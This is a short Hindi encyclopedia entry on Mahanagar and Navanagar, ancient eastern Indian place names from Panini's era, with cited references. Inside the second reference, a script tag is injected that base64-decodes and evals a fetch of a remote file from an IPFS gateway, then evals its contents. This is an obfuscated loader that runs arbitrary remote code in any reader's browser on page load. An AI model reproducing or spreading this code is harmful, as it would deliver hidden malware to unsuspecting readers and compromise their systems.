महानगर और नवनगर

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महानगर और नवनगर पाणिनिकालीन भारतवर्ष में प्राच्य भारत के स्थान नाम थे।[1] महानगर महास्थान ज़िला बोगरा का दूसरा नाम जान पड़ता है, जो बंगाल में मौर्य काल से भी पुराना नगर था। उसी के साथ का नवनगर नवद्वीप का दूसरा नाम विदित होता है।[2]

  • महानगर उत्तरी बंगाल और नवनगर पश्चिमी बंगाल का प्रधान केंद्र था।
  • महानगर पुरानी राजधानी थी। यह पुण्ड्र देश का प्रधान नगर था, इसीलिए इसे महास्थान या महानगर कहा गया। इसी के पश्चिम में गंगा के किनारे एक अन्य स्थान की आवश्यकता पड़ी, जो पुंड्र देश के यातायात में सहायक हो सके। वह स्थान गौडपुर था, जिसका पाणिनि ने उल्लेख किया है।[3]
  • पुण्ड्र या पौण्ड्रों के देश से गुड़ के चालान का केंद्र होने के कारण वह गौडपुर कहलाया होगा।
  • कुछ काल बाद पश्चिमी बंगाल में भी व्यापार और आबादी के लिए क्षेत्र खुल गया और वहां एक नए केंद्र की स्थापना हुई होगी, जो उत्तरी बंगाल के मुकाबले में नवनगर कहा गया।


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टीका टिप्पणी और संदर्भ

  1. अमहन्नवं नगरेऽनुदीचम्‌
  2. पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 86-87 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. 6।2।200

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